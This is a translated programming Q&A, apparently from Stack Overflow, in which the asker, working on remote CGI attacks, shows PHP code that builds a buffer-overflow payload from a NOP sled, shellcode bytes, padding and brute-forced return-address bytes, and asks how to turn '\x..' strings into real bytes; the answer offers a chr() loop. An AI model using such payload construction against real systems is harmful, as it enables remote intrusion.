【问题标题】:\xFF string to actual byte\xFF 字符串到实际字节
【发布时间】:2014-04-15 18:21:36
【问题描述】:

我目前正在做很多关于 shellcode 和 CGI​​ 远程攻击的事情。我需要用 PHP 编写。

目前我有以下问题,当我以 hexform ala "\xf2" 创建一个字节时,它被解释为字符串而不是字节。

我的代码摘要:

    function createByte(){
    $hex = array(0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f");
    $byte = array();
    foreach($hex as $c){
        foreach($hex as $b){
            $byte[] = "\\x" . $c.$b;
        }
    }
    return $byte;
}

$SHELLCODE =
    "\xbb\xaa\xcf\x88\x13\xd9\xc8\xd9\x74\x24\xf4\x5a
     \x31\xc9\xb1\x01\x83\xea\xfc\x31\x5a\x0e\x03\xf0
     \xc1\x6a\xe6";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
     $i < strlen($SHELLCODE) ; $i++, $j++) {
    $CODE[$j] = $SHELLCODE[$i];
}
$b = array();
foreach(createByte() as $add){
    $b[] = str_repeat("A", 23).$CODE.$add.EVIL_SPACE_ADDR;
}

实际上,在某些时候会出现“�j��\x36���”。如您所见,\x36 是一个字符串,而不是其他字节。

如何实现 \x36 成为正确的字节? $CODE 得到了正确的字节。

一切顺利, 理查德

【问题讨论】:

    标签: php string hex byte


    【解决方案1】:

    你可能想这样做:

    function createByte() {
        $bytes = array();
        for ($i = 0; $i < 256; $i++) $bytes[] = chr($i);
        return $bytes;
    }
    

    更简洁、更易读、计算效率更高。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-10-04
      • 1970-01-01
      • 2014-07-11
      • 1970-01-01
      • 2016-03-28
      • 2013-07-27
      相关资源
      最近更新 更多